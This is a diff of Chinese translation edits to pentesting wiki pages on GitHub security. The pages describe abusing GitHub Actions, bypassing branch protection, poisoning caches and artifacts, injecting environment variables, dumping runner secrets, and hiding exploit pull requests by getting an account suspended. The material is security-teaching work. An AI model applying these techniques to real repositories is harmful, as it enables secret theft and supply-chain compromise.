_https://github.com/\.keys_,您可以检查此项以确认您找到的私钥是否可以使用。 -**SSH 密钥** 也可以在存储库中设置为 **部署密钥**。任何拥有此密钥的人都将能够 **从存储库启动项目**。通常在具有不同部署密钥的服务器上,本地文件 **`~/.ssh/config`** 将提供与密钥相关的信息。 +**SSH 密钥** 也可以在仓库中设置为 **部署密钥**。任何拥有此密钥的人都能够 **从仓库启动项目**。通常在具有不同部署密钥的服务器上,本地文件 **`~/.ssh/config`** 将提供与密钥相关的信息。 #### GPG 密钥 @@ -144,7 +144,7 @@ gpg --list-secret-keys --keyid-format=long 有关[**用户令牌的介绍,请查看基本信息**](basic-github-information.md#personal-access-tokens)。 -用户令牌可以用作**HTTPS下Git的密码**,或用于[**通过基本身份验证对API进行身份验证**](https://docs.github.com/v3/auth/#basic-authentication)。根据附加的权限,您可能能够执行不同的操作。 +用户令牌可以用作**HTTPS Git的密码**,或用于[**通过基本身份验证对API进行身份验证**](https://docs.github.com/v3/auth/#basic-authentication)。根据附加的权限,您可能能够执行不同的操作。 用户令牌的格式如下:`ghp_EfHnQFcFHX6fGIu5mpduvRiYR584kK0dX123` @@ -176,17 +176,17 @@ abusing-github-actions/ ## 分支保护绕过 -- **要求一定数量的批准**:如果您破坏了多个帐户,您可能只需从其他帐户接受您的PR。如果您只有创建PR的帐户,则无法接受自己的PR。但是,如果您可以访问仓库中的**Github Action**环境,使用**GITHUB_TOKEN**,您可能能够**批准您的PR**并以这种方式获得1个批准。 +- **需要一定数量的批准**:如果您破坏了多个帐户,您可能只需从其他帐户接受您的PR。如果您只有创建PR的帐户,则无法接受自己的PR。但是,如果您可以访问仓库中的**Github Action**环境,使用**GITHUB_TOKEN**,您可能能够**批准您的PR**并以这种方式获得1个批准。 - _注意,对于此以及代码所有者限制,通常用户无法批准自己的PR,但如果您可以,您可以利用它来接受您的PR。_ -- **在推送新提交时撤销批准**:如果未设置此项,您可以提交合法代码,等待有人批准,然后放入恶意代码并将其合并到受保护的分支中。 -- **要求代码所有者的审查**:如果此项已激活且您是代码所有者,您可以让**Github Action创建您的PR,然后自己批准它**。 +- **在推送新提交时撤销批准**:如果未设置此项,您可以提交合法代码,等待某人批准,然后放入恶意代码并将其合并到受保护的分支中。 +- **需要代码所有者的审查**:如果此项已激活且您是代码所有者,您可以让**Github Action创建您的PR,然后自己批准它**。 - 当**CODEOWNER文件配置错误**时,Github不会抱怨,但也不会使用它。因此,如果配置错误,**代码所有者保护将不适用。** - **允许指定的参与者绕过拉取请求要求**:如果您是这些参与者之一,您可以绕过拉取请求保护。 - **包括管理员**:如果未设置此项且您是仓库的管理员,您可以绕过此分支保护。 - **PR劫持**:您可能能够**修改其他人的PR**,添加恶意代码,自己批准结果PR并合并所有内容。 - **移除分支保护**:如果您是**仓库的管理员,您可以禁用保护**,合并您的PR并重新设置保护。 - **绕过推送保护**:如果一个仓库**仅允许某些用户**在分支中发送推送(合并代码)(分支保护可能保护所有分支,指定通配符`*`)。 -- 如果您对仓库**具有写入访问权限,但由于分支保护不允许推送代码**,您仍然可以**创建一个新分支**,并在其中创建一个**在代码推送时触发的github action**。由于**分支保护在分支创建之前不会保护该分支**,因此对该分支的第一次代码推送将**执行github action**。 +- 如果您对仓库**具有写入权限,但由于分支保护不允许推送代码**,您仍然可以**创建一个新分支**,并在其中创建一个**在推送代码时触发的github action**。由于**分支保护在分支创建之前不会保护该分支**,因此对该分支的第一次代码推送将**执行github action**。 ## 绕过环境保护 @@ -216,7 +216,7 @@ branches: ### 冒名顶替提交 - 通过repo提交的后门 -在Github中,可以**从一个分叉创建一个PR到一个repo**。即使PR**未被接受**,在原始repo中也会为代码的分叉版本创建一个**提交**id。因此,攻击者**可以固定使用一个来自看似合法的repo的特定提交,该提交并不是由repo的所有者创建的**。 +在Github中,可以**从一个fork创建一个PR到一个repo**。即使PR**未被接受**,在原始repo中也会为代码的fork版本创建一个**提交**id。因此,攻击者**可以固定使用一个来自看似合法的repo的特定提交,该提交并不是由repo的所有者创建的**。 像[**这个**](https://github.com/actions/checkout/commit/c7d749a2d57b4b375d1ebcd17cfbfb60c676f18e): ```yaml diff --git a/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md b/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md index 9d030fe12..77fb264d8 100644 --- a/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md +++ b/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md @@ -1,20 +1,20 @@ -# Abusing Github Actions +# 滥用 Github Actions {{#include ../../../banners/hacktricks-training.md}} -## Basic Information +## 基本信息 在此页面中,您将找到: - 攻击者成功访问 Github Action 的所有影响的 **摘要** -- 不同的 **获取访问权限** 的方式: -- 拥有 **创建 action** 的 **权限** -- 滥用与 **pull request** 相关的触发器 +- 获取 **访问一个 action** 的不同方式: +- 拥有 **创建 action** 的权限 +- 滥用与 **拉取请求** 相关的触发器 - 滥用 **其他外部访问** 技术 -- 从已被攻陷的仓库进行 **横向移动** -- 最后,关于 **从内部滥用 action 的后期利用技术** 的一节(导致上述影响) +- 从已经被攻陷的仓库 **进行横向渗透** +- 最后,关于 **从内部滥用 action 的后渗透技术** 的一节(因为提到的影响) -## Impacts Summary +## 影响摘要 有关 [**Github Actions 的基本信息**](../basic-github-information.md#github-actions) 的介绍。 @@ -23,7 +23,7 @@ - **窃取秘密**,并 **滥用管道的权限** 以获得对外部平台(如 AWS 和 GCP)的未授权访问。 - **破坏部署** 和其他 **工件**。 - 如果管道部署或存储资产,您可以更改最终产品,从而启用供应链攻击。 -- **在自定义工作节点中执行代码**,以滥用计算能力并横向移动到其他系统。 +- **在自定义工作节点中执行代码**,以滥用计算能力并横向渗透到其他系统。 - **覆盖仓库代码**,具体取决于与 `GITHUB_TOKEN` 相关的权限。 ## GITHUB_TOKEN @@ -32,20 +32,20 @@
-此令牌与 **Github 应用程序使用的令牌相同**,因此可以访问相同的端点:[https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps) +这个令牌与 **Github 应用程序使用的令牌** 相同,因此可以访问相同的端点:[https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps) > [!WARNING] > Github 应该发布一个 [**流程**](https://github.com/github/roadmap/issues/74),**允许跨仓库** 访问 GitHub,以便一个仓库可以使用 `GITHUB_TOKEN` 访问其他内部仓库。 -您可以在以下链接查看此令牌的可能 **权限**:[https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token](https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token) +您可以在以下位置查看此令牌的可能 **权限**:[https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token](https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token) 请注意,令牌 **在作业完成后会过期**。\ -这些令牌的格式如下:`ghs_veaxARUji7EXszBMbhkr4Nz2dYz0sqkeiur7` +这些令牌看起来像这样:`ghs_veaxARUji7EXszBMbhkr4Nz2dYz0sqkeiur7` -您可以使用此令牌执行的一些有趣操作: +您可以使用此令牌做一些有趣的事情: {{#tabs }} -{{#tab name="Merge PR" }} +{{#tab name="合并 PR" }} ```bash # Merge PR curl -X PUT \ @@ -141,9 +141,9 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}} ## 允许的执行 > [!NOTE] -> 这是妥协Github actions的最简单方法,因为这种情况假设您有**在组织中创建新仓库的权限**,或对**某个仓库具有写权限**。 +> 这是妥协Github actions的最简单方法,因为这种情况假设您有**在组织中创建新仓库的权限**,或对某个仓库有**写入权限**。 > -> 如果您处于这种情况,您可以查看[后期利用技术](./#post-exploitation-techniques-from-inside-an-action)。 +> 如果您处于这种情况,您可以查看[Post Exploitation techniques](./#post-exploitation-techniques-from-inside-an-action)。 ### 从仓库创建执行 @@ -153,7 +153,7 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}} 如果您可以**在已经配置了Github Action的仓库中创建新分支**,您可以**修改**它,**上传**内容,然后**从新分支执行该操作**。这样您可以**提取仓库和组织级别的秘密**(但您需要知道它们的名称)。 -您可以在**手动**时使修改后的操作可执行,当**创建PR时**或当**推送某些代码时**(取决于您想要多吵): +您可以在**手动**时使修改后的操作可执行,当**PR被创建**或当**某些代码被推送**时(具体取决于您想要多吵闹): ```yaml on: workflow_dispatch: # Launch manually @@ -181,16 +181,16 @@ branches: > [!NOTE] > 由于**默认限制**适用于**首次**贡献者,您可以通过**修复有效的错误/拼写错误**来贡献,然后发送**其他PR以滥用您新的`pull_request`权限**。 > -> **我测试过,这不管用**:~~另一个选项是创建一个与曾经为该项目贡献的人同名的账户,然后删除他的账户。~~ +> **我测试过,这不行**:~~另一个选项是创建一个与曾经为该项目贡献的人同名的账户,然后删除他的账户。~~ 此外,默认情况下**防止写权限**和**对目标仓库的秘密访问**,如[**文档**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflows-in-forked-repositories)中所述: -> 除了`GITHUB_TOKEN`,**在从**`forked`**仓库触发工作流时,秘密不会传递给运行器**。在来自**forked repositories**的拉取请求中,**`GITHUB_TOKEN`具有只读权限**。 +> 除了`GITHUB_TOKEN`,**在从**forked**仓库触发工作流时,**秘密不会传递给运行器**。在来自**forked**仓库的拉取请求中,**`GITHUB_TOKEN`具有只读权限**。 攻击者可以修改Github Action的定义,以执行任意操作并附加任意操作。然而,由于上述限制,他将无法窃取秘密或覆盖仓库。 > [!CAUTION] -> **是的,如果攻击者在PR中更改将被触发的github action,他的Github Action将被使用,而不是源仓库的那个!** +> **是的,如果攻击者在PR中更改将被触发的github action,他的Github Action将被使用,而不是来自源仓库的那个!** 由于攻击者还控制着被执行的代码,即使在`GITHUB_TOKEN`上没有秘密或写权限,攻击者也可以例如**上传恶意工件**。 @@ -201,7 +201,7 @@ branches: 请注意,工作流触发器**`pull_request_target`**在基础上下文中运行,而不是在PR提供的上下文中(以**不执行不受信任的代码**)。有关`pull_request_target`的更多信息,请[**查看文档**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_target)。\ 此外,关于这种特定危险用法的更多信息,请查看这篇[**github博客文章**](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/)。 -看起来因为**执行的工作流**是定义在**基础**而**不是在PR**中的,所以使用**`pull_request_target`**是**安全的**,但有**一些情况并非如此**。 +看起来因为**执行的工作流**是定义在**基础**而不是在PR中的,所以使用**`pull_request_target`**是**安全的**,但有**一些情况并非如此**。 而且这个将具有**对秘密的访问**。 @@ -217,16 +217,16 @@ workflows: [Run Tests] types: - completed ``` -此外,根据文档:由 `workflow_run` 事件启动的工作流能够 **访问秘密和写入令牌,即使之前的工作流没有**。 +此外,根据文档:由 `workflow_run` 事件启动的工作流能够 **访问机密并写入令牌,即使之前的工作流没有**。 -这种工作流可能会受到攻击,如果它 **依赖** 于一个可以通过 **`pull_request`** 或 **`pull_request_target`** 被外部用户 **触发** 的 **工作流**。一些脆弱的示例可以在 [**这篇博客中找到**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability)**.** 第一个示例是 **`workflow_run`** 触发的工作流下载攻击者的代码:`${{ github.event.pull_request.head.sha }}`\ -第二个示例是 **将** 一个 **工件** 从 **不受信任** 的代码传递到 **`workflow_run`** 工作流,并以使其 **易受 RCE 攻击** 的方式使用该工件的内容。 +如果这种工作流 **依赖** 于可以通过 **`pull_request`** 或 **`pull_request_target`** 由外部用户 **触发** 的 **工作流**,则可能会受到攻击。一些脆弱的示例可以在 [**这篇博客**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability)**中找到。** 第一个示例是 **`workflow_run`** 触发的工作流下载攻击者的代码:`${{ github.event.pull_request.head.sha }}`\ +第二个示例是 **将** 来自 **不受信任** 代码的 **artifact** 传递给 **`workflow_run`** 工作流,并以使其 **易受 RCE 攻击** 的方式使用该 artifact 的内容。 ### `workflow_call` TODO -TODO:检查从 pull_request 执行时使用/下载的代码是否来自原始或分叉的 PR +TODO:检查从 pull_request 执行时使用/下载的代码是否来自原始代码库或来自分叉的 PR ## 滥用分叉执行 @@ -234,9 +234,9 @@ TODO:检查从 pull_request 执行时使用/下载的代码是否来自原始 ### 不受信任的检出执行 -在 **`pull_request`** 的情况下,工作流将在 **PR 的上下文中** 执行(因此它将执行 **恶意 PR 的代码**),但需要有人 **先授权**,并且它将运行时有一些 [限制](./#pull_request)。 +在 **`pull_request`** 的情况下,工作流将在 **PR 的上下文中** 执行(因此它将执行 **恶意 PR 的代码**),但需要有人 **首先授权**,并且它将运行时有一些 [限制](./#pull_request)。 -如果工作流使用 **`pull_request_target` 或 `workflow_run`**,并依赖于可以从 **`pull_request_target` 或 `pull_request`** 触发的工作流,则将执行原始仓库中的代码,因此 **攻击者无法控制执行的代码**。 +如果工作流使用 **`pull_request_target` 或 `workflow_run`**,并依赖于可以从 **`pull_request_target` 或 `pull_request`** 触发的工作流,则将执行原始代码库中的代码,因此 **攻击者无法控制执行的代码**。 > [!CAUTION] > 但是,如果 **action** 有一个 **显式的 PR 检出**,将 **从 PR 获取代码**(而不是从基础),它将使用攻击者控制的代码。例如(检查第 12 行,其中下载了 PR 代码): @@ -269,14 +269,14 @@ message: | 谢谢! -潜在的 **不受信任的代码在 `npm install` 或 `npm build` 期间被运行**,因为构建脚本和引用的 **包由 PR 的作者控制**。 +潜在的 **不受信任的代码在 `npm install` 或 `npm build` 期间运行**,因为构建脚本和引用的 **包由 PR 的作者控制**。 > [!WARNING] > 搜索脆弱 actions 的 GitHub dork 是:`event.pull_request pull_request_target extension:yml`,但是,即使 action 配置不安全,也有不同的方法可以安全地配置要执行的作业(例如,使用关于谁是生成 PR 的参与者的条件)。 ### 上下文脚本注入 -请注意,有某些 [**GitHub 上下文**](https://docs.github.com/en/actions/reference/context-and-expression-syntax-for-github-actions#github-context) 的值是由创建 PR 的 **用户** **控制** 的。如果 GitHub action 使用该 **数据执行任何操作**,可能会导致 **任意代码执行:** +请注意,有某些 [**GitHub 上下文**](https://docs.github.com/en/actions/reference/context-and-expression-syntax-for-github-actions#github-context),其值由创建 PR 的 **用户** **控制**。如果 GitHub action 使用该 **数据执行任何操作**,则可能导致 **任意代码执行:** {{#ref}} gh-actions-context-script-injections.md @@ -286,9 +286,9 @@ gh-actions-context-script-injections.md 根据文档:您可以通过定义或更新环境变量并将其写入 **`GITHUB_ENV`** 环境文件,使 **环境变量可用于工作流作业中的任何后续步骤**。 -如果攻击者能够 **在此 env 变量中注入任何值**,他可以注入可以在后续步骤中执行代码的 env 变量,例如 **LD_PRELOAD** 或 **NODE_OPTIONS**。 +如果攻击者能够 **注入任何值** 到这个 **env** 变量中,他可以注入可以在后续步骤中执行代码的环境变量,例如 **LD_PRELOAD** 或 **NODE_OPTIONS**。 -例如([**这个**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability-0) 和 [**这个**](https://www.legitsecurity.com/blog/-how-we-found-another-github-action-environment-injection-vulnerability-in-a-google-project)),想象一个工作流,它信任上传的工件将其内容存储在 **`GITHUB_ENV`** env 变量中。攻击者可以上传类似这样的内容来破坏它: +例如([**这个**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability-0) 和 [**这个**](https://www.legitsecurity.com/blog/-how-we-found-another-github-action-environment-injection-vulnerability-in-a-google-project)),想象一个工作流信任上传的 artifact 将其内容存储在 **`GITHUB_ENV`** 环境变量中。攻击者可以上传类似这样的内容来破坏它:
@@ -296,9 +296,9 @@ gh-actions-context-script-injections.md #### [dawidd6/action-download-artifact](https://github.com/dawidd6/action-download-artifact) -正如在 [**这篇博客文章**](https://www.legitsecurity.com/blog/github-actions-that-open-the-door-to-cicd-pipeline-attacks) 中提到的,这个 GitHub Action 允许访问来自不同工作流甚至仓库的工件。 +正如在 [**这篇博客文章**](https://www.legitsecurity.com/blog/github-actions-that-open-the-door-to-cicd-pipeline-attacks) 中提到的,这个 GitHub Action 允许访问来自不同工作流甚至不同代码库的 artifacts。 -问题在于,如果 **`path`** 参数未设置,工件将提取到当前目录,并且可能会覆盖后续在工作流中使用或执行的文件。因此,如果工件是脆弱的,攻击者可以利用这一点来破坏其他信任该工件的工作流。 +问题在于,如果 **`path`** 参数未设置,artifact 将提取到当前目录,并且可能会覆盖稍后在工作流中使用或执行的文件。因此,如果 artifact 存在漏洞,攻击者可以利用这一点来破坏其他信任该 artifact 的工作流。 脆弱工作流的示例: ```yaml @@ -323,7 +323,7 @@ with: name: artifact path: ./script.py ``` -这可以通过以下工作流进行攻击: +这可以通过以下工作流程进行攻击: ```yaml name: "some workflow" on: pull_request @@ -344,12 +344,12 @@ path: ./script.py ### 删除的命名空间仓库劫持 -如果一个账户更改了名称,其他用户在一段时间后可以注册一个相同名称的账户。如果一个仓库在更改名称之前的**星标少于100个**,Github将允许新注册的用户使用相同的名称创建一个**与被删除的仓库同名的仓库**。 +如果一个账户更改了名称,其他用户在一段时间后可以注册一个具有该名称的账户。如果一个仓库在更改名称之前的**星标少于100个**,Github将允许新注册的用户使用相同的名称创建一个**与已删除的仓库同名的仓库**。 > [!CAUTION] > 因此,如果一个操作使用来自不存在账户的仓库,攻击者仍然有可能创建该账户并妥协该操作。 -如果其他仓库使用了**该用户仓库的依赖项**,攻击者将能够劫持它们。这里有一个更完整的解释:[https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/](https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/) +如果其他仓库使用了**来自该用户仓库的依赖项**,攻击者将能够劫持它们。这里有一个更完整的解释:[https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/](https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/) --- @@ -360,7 +360,7 @@ path: ./script.py ### 缓存中毒 -在**同一分支的工作流运行之间**维护一个缓存。这意味着如果攻击者**妥协**了一个**包**,然后将其存储在缓存中,并被**更高权限的**工作流**下载**和执行,他将能够**妥协**该工作流。 +在**同一分支的工作流运行之间**维护一个缓存。这意味着如果攻击者**妥协**了一个**包**,然后将其存储在缓存中,并被**更高权限**的工作流**下载**和执行,他将能够**妥协**该工作流。 {{#ref}} gh-actions-cache-poisoning.md @@ -368,7 +368,7 @@ gh-actions-cache-poisoning.md ### 工件中毒 -工作流可以使用**来自其他工作流甚至仓库的工件**,如果攻击者设法**妥协**了上传工件的Github Action,而该工件随后被另一个工作流使用,他可以**妥协其他工作流**: +工作流可以使用**其他工作流甚至仓库的工件**,如果攻击者设法**妥协**了上传工件的Github Action,而该工件随后被另一个工作流使用,他可以**妥协其他工作流**: {{#ref}} gh-actions-artifact-poisoning.md @@ -394,7 +394,7 @@ gh-actions-artifact-poisoning.md 如果您正在向脚本中注入内容,了解如何访问秘密是很有趣的: -- 如果秘密或令牌被设置为**环境变量**,可以通过环境直接使用**`printenv`**访问。 +- 如果秘密或令牌被设置为**环境变量**,可以通过**`printenv`**直接通过环境访问。
@@ -468,7 +468,7 @@ key: ${{ secrets.PUBLISH_KEY }} 查找**在非 GitHub 基础设施中执行的 GitHub Actions**的方法是搜索 GitHub Action 配置 yaml 中的**`runs-on: self-hosted`**。 -**自托管**运行器可能访问**额外的敏感信息**,访问其他**网络系统**(网络中的脆弱端点?元数据服务?)或者,即使它是隔离和销毁的,**可能会同时运行多个操作**,恶意操作可能会**窃取其他操作的秘密**。 +**自托管**运行器可能访问**额外敏感信息**,访问其他**网络系统**(网络中的脆弱端点?元数据服务?)或者,即使它是隔离和销毁的,**可能会同时运行多个操作**,恶意操作可能会**窃取其他操作的秘密**。 在自托管运行器中,还可以通过转储其内存来获取**来自 \_Runner.Listener**\_\*\* 进程\*\* 的**秘密**,该进程将在任何步骤中包含工作流的所有秘密: ```bash @@ -517,7 +517,7 @@ ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:${{ e 正如您在之前的代码中看到的,Github 注册表托管在 **`ghcr.io`**。 -具有对该仓库的读取权限的用户将能够使用个人访问令牌下载 Docker 镜像: +具有对仓库的读取权限的用户将能够使用个人访问令牌下载 Docker 镜像: ```bash echo $gh_token | docker login ghcr.io -u --password-stdin docker pull ghcr.io//: @@ -530,13 +530,13 @@ https://book.hacktricks.xyz/generic-methodologies-and-resources/basic-forensic-m ### Github Actions 日志中的敏感信息 -即使 **Github** 尝试 **检测日志中的秘密值** 并 **避免显示** 它们,**其他敏感数据** 在执行操作时生成的内容仍然不会被隐藏。例如,使用秘密值签名的 JWT 除非 [特别配置](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret),否则不会被隐藏。 +即使 **Github** 尝试 **检测秘密值** 在操作日志中并 **避免显示** 它们,**其他敏感数据** 在操作执行过程中生成的也不会被隐藏。例如,使用秘密值签名的 JWT 除非 [特别配置](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret),否则不会被隐藏。 ## 掩盖你的痕迹 -(技术来自 [**这里**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit))首先,任何提出的 PR 在 Github 上对公众和目标 GitHub 账户都是明显可见的。在 GitHub 中,默认情况下,我们 **无法删除互联网上的 PR**,但有一个变数。对于被 Github **暂停** 的 GitHub 账户,所有的 **PR 会被自动删除** 并从互联网上移除。因此,为了隐藏你的活动,你需要让你的 **GitHub 账户被暂停或被标记**。这将 **隐藏你在 GitHub 上的所有活动**(基本上移除你所有的利用 PR) +(来自 [**这里**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit) 的技术)首先,任何提出的 PR 在 Github 上对公众和目标 GitHub 账户都是明显可见的。在 GitHub 中,默认情况下,我们 **无法删除互联网上的 PR**,但有一个变数。对于被 Github **暂停** 的 GitHub 账户,所有的 **PR 会被自动删除** 并从互联网上移除。因此,为了隐藏你的活动,你需要让你的 **GitHub 账户被暂停或被标记**。这将 **隐藏你在 GitHub 上的所有活动**(基本上移除你所有的利用 PR) -GitHub 中的一个组织非常积极地向 GitHub 举报账户。你所需要做的就是在 Issue 中分享“某些东西”,他们会确保你的账户在 12 小时内被暂停 :p 这样,你的利用在 GitHub 上就变得不可见了。 +GitHub 中的一个组织非常积极地向 GitHub 举报账户。你所需要做的就是在 Issue 中分享“某些东西”,他们会确保你的账户在 12 小时内被暂停 :p 这样你就可以让你的利用在 GitHub 上变得不可见。 > [!WARNING] > 组织发现自己被针对的唯一方法是通过 SIEM 检查 GitHub 日志,因为从 GitHub UI 中 PR 会被移除。 diff --git a/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-artifact-poisoning.md b/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-artifact-poisoning.md index 59da712ac..1dde2536f 100644 --- a/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-artifact-poisoning.md +++ b/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-artifact-poisoning.md @@ -1 +1 @@ -# Gh Actions - Artifact Poisoning +# Gh Actions - 伪造工件 diff --git a/src/pentesting-ci-cd/github-security/accessible-deleted-data-in-github.md b/src/pentesting-ci-cd/github-security/accessible-deleted-data-in-github.md index 699952c62..3102ed544 100644 --- a/src/pentesting-ci-cd/github-security/accessible-deleted-data-in-github.md +++ b/src/pentesting-ci-cd/github-security/accessible-deleted-data-in-github.md @@ -1,46 +1,46 @@ -# Accessible Deleted Data in Github +# 在Github中访问已删除的数据 {{#include ../../banners/hacktricks-training.md}} -这种访问被认为已删除的Github数据的方法在[**这篇博客文章中报告**](https://trufflesecurity.com/blog/anyone-can-access-deleted-and-private-repo-data-github)。 +访问据称已删除的Github数据的方法在[**这篇博客文章中报告**](https://trufflesecurity.com/blog/anyone-can-access-deleted-and-private-repo-data-github)。 -## Accessing Deleted Fork Data +## 访问已删除的Fork数据 -1. 你fork一个公共仓库 -2. 你向你的fork提交代码 -3. 你删除你的fork +1. 你Fork一个公共仓库 +2. 你向你的Fork提交代码 +3. 你删除你的Fork > [!CAUTION] -> 在已删除的fork中提交的数据仍然可以访问。 +> 在已删除的Fork中提交的数据仍然可以访问。 -## Accessing Deleted Repo Data +## 访问已删除的仓库数据 1. 你在GitHub上有一个公共仓库。 -2. 一个用户fork了你的仓库。 -3. 你在他们fork之后提交数据(而他们从未将他们的fork与您的更新同步)。 +2. 一个用户Fork了你的仓库。 +3. 你在他们Fork之后提交数据(而他们从未将他们的Fork与您的更新同步)。 4. 你删除整个仓库。 > [!CAUTION] -> 即使你删除了你的仓库,对其所做的所有更改仍然可以通过fork访问。 +> 即使你删除了你的仓库,所有对其所做的更改仍然可以通过Fork访问。 -## Accessing Private Repo Data +## 访问私有仓库数据 1. 你创建一个最终会公开的私有仓库。 -2. 你创建该仓库的私有内部版本(通过fork)并提交额外的代码用于你不打算公开的功能。 -3. 你将你的“上游”仓库设为公开,并保持你的fork为私有。 +2. 你创建该仓库的私有内部版本(通过Fork)并提交额外的代码以实现你不打算公开的功能。 +3. 你将你的“上游”仓库设为公共,并保持你的Fork为私有。 > [!CAUTION] -> 在内部fork创建和公共版本公开之间的时间内,可以访问推送到内部fork的所有数据。 +> 在内部Fork创建和公共版本公开之间的时间内,可以访问推送到内部Fork的所有数据。 -## How to discover commits from deleted/hidden forks +## 如何发现已删除/隐藏Fork的提交 -同一篇博客文章提出了两个选项: +同一篇博客文章提出了2个选项: -### Directly accessing the commit +### 直接访问提交 如果已知提交ID(sha-1)值,可以在`https://github.com///commit/`中访问它。 -### Brute-forcing short SHA-1 values +### 暴力破解短SHA-1值 访问这两者是相同的: @@ -49,7 +49,7 @@ 而最新的一个使用了一个可以暴力破解的短sha-1。 -## References +## 参考 - [https://trufflesecurity.com/blog/anyone-can-access-deleted-and-private-repo-data-github](https://trufflesecurity.com/blog/anyone-can-access-deleted-and-private-repo-data-github) diff --git a/src/pentesting-ci-cd/github-security/basic-github-information.md b/src/pentesting-ci-cd/github-security/basic-github-information.md index bfeafcf88..5ffceb125 100644 --- a/src/pentesting-ci-cd/github-security/basic-github-information.md +++ b/src/pentesting-ci-cd/github-security/basic-github-information.md @@ -4,9 +4,9 @@ ## 基本结构 -大型 **公司** 的基本 github 环境结构是拥有一个 **企业**,该企业拥有 **多个组织**,每个组织可能包含 **多个代码库** 和 **多个团队**。较小的公司可能只 **拥有一个组织而没有企业**。 +一个大 **公司** 的基本 github 环境结构是拥有一个 **企业**,该企业拥有 **多个组织**,每个组织可能包含 **多个代码库** 和 **多个团队**。较小的公司可能只 **拥有一个组织而没有企业**。 -从用户的角度来看,**用户** 可以是 **不同企业和组织的成员**。在这些组织中,用户可能拥有 **不同的企业、组织和代码库角色**。 +从用户的角度来看,一个 **用户** 可以是 **不同企业和组织的成员**。在这些组织中,用户可能拥有 **不同的企业、组织和代码库角色**。 此外,用户可能是 **不同团队的一部分**,并拥有不同的企业、组织或代码库角色。 @@ -16,20 +16,20 @@ ### 企业角色 -- **企业所有者**:拥有此角色的人可以 **管理管理员、管理企业内的组织、管理企业设置、在组织间强制执行政策**。但是,他们 **无法访问组织设置或内容**,除非他们被指定为组织所有者或获得对组织拥有的代码库的直接访问权限。 -- **企业成员**:由您的企业拥有的组织的成员也 **自动成为企业成员**。 +- **企业所有者**:拥有此角色的人可以 **管理管理员、管理企业内的组织、管理企业设置、在组织间强制执行政策**。然而,他们 **无法访问组织设置或内容**,除非他们被指定为组织所有者或获得对组织拥有的代码库的直接访问权限。 +- **企业成员**:由您的企业拥有的组织的成员也是 **自动成为企业成员**。 ### 组织角色 在组织中,用户可以拥有不同的角色: -- **组织所有者**:组织所有者对您的组织拥有 **完全的管理访问权限**。此角色应限制,但不应少于两人。 -- **组织成员**:在 **组织中的人** 的默认非管理角色是组织成员。默认情况下,组织成员 **拥有一定数量的权限**。 -- **账单管理员**:账单管理员是可以 **管理您组织的账单设置** 的用户,例如支付信息。 -- **安全管理员**:这是组织所有者可以分配给组织中任何团队的角色。应用后,它赋予团队的每个成员权限,以 **管理组织内的安全警报和设置,以及对所有代码库的读取权限**。 -- 如果您的组织有安全团队,您可以使用安全管理员角色为团队成员提供他们所需的最低访问权限。 -- **Github 应用管理员**:为了允许其他用户 **管理组织拥有的 GitHub 应用**,所有者可以授予他们 GitHub 应用管理员权限。 -- **外部协作者**:外部协作者是指 **可以访问一个或多个组织代码库但不是组织的明确成员** 的人。 +- **组织所有者**:组织所有者拥有 **对组织的完全管理访问权限**。此角色应限制,但不少于两人。 +- **组织成员**:组织中的 **默认** 非管理角色是组织成员。默认情况下,组织成员 **拥有一定数量的权限**。 +- **账单经理**:账单经理是可以 **管理组织的账单设置** 的用户,例如支付信息。 +- **安全经理**:这是组织所有者可以分配给组织中任何团队的角色。应用后,它赋予团队的每个成员权限,以 **管理组织内的安全警报和设置,以及对所有代码库的读取权限**。 +- 如果您的组织有安全团队,您可以使用安全经理角色为团队成员提供他们所需的最低访问权限。 +- **Github 应用程序经理**:为了允许其他用户 **管理组织拥有的 GitHub 应用程序**,所有者可以授予他们 GitHub 应用程序经理权限。 +- **外部合作者**:外部合作者是指 **访问一个或多个组织代码库但不是组织的明确成员** 的人。 您可以在此表中 **比较这些角色的权限**:[https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles](https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles) @@ -39,10 +39,10 @@ 此处配置的设置将指示组织成员的以下权限: -- 对所有组织代码库拥有管理员、写入、读取或无权限。 +- 对所有组织代码库的管理员、写入、读取或无权限。 - 成员是否可以创建私有、内部或公共代码库。 - 是否可以对代码库进行分叉。 -- 是否可以邀请外部协作者。 +- 